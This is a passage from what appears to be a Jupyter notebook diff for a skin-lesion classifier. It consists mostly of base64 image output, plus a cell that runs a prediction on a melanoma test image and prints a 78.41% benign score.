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",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {
+ "needs_background": "light"
+ },
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "predict_image_class(\"data/test/melanoma/ISIC_0013767.jpg\", m)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 36,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 355
+ },
+ "id": "PaNqQ5HcyXVa",
+ "outputId": "88d3f30e-b28f-42bb-cc4e-4a52064f9331"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "1/1 [==============================] - 0s 50ms/step\n"
+ ]
+ },
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n"
+ ]
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "[[0.21590327]]\n",
+ "0.21590327\n",
+ "This image is 78.41% benign.\n"
+ ]
+ },
+ {
+ "data": {
+ "image/png": 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V+5t1y2roYKsx5wietHk/VJUD3fjt5XCORpq/OFtKVwSucHdJuTQBvVfsRHmauhKtPQuQWuxj64fbMTeMBC5TPK8q11Dyl07fm9SEHKTX5pH1UVW5o7vHG6bs4fZ3W0603tIfQr4OYYFppYCSCMl9rYMoRFkn7V7nmgoY7a0a836rqFbx5DGaDyHC8rAIH9Xg8FkNXmIdyWMuatbDAw5oSQjmC0jfpADQwLsaDP0o6X9oLhejP+hyo4iqvlJTPvTxUVF0AWy+KATdgzj3vR+3SFXNf7x0el3tvmPgrKopEw/GuYI6RjGl8AuxfDDwF4qI+p0ineFVT6ydow0vOHHfHVr5tYy5ZimV7tsnadnruH/PSbVKp1WqparuDdeuu3RV0toFmfQadCK6DyKhwdeXGjQBTWwqE9Kq+lx7riizf7j9XQEhoCOCBRG9+uf4HQ91aPhUwdDOLBR/e/0l0cvVPocpbqxPLLFDJgj/RmGtPLf1To3ofE4/CCSMwxzo2y2oFEGiH/r/2fycUozFf0sh1FlRHPAn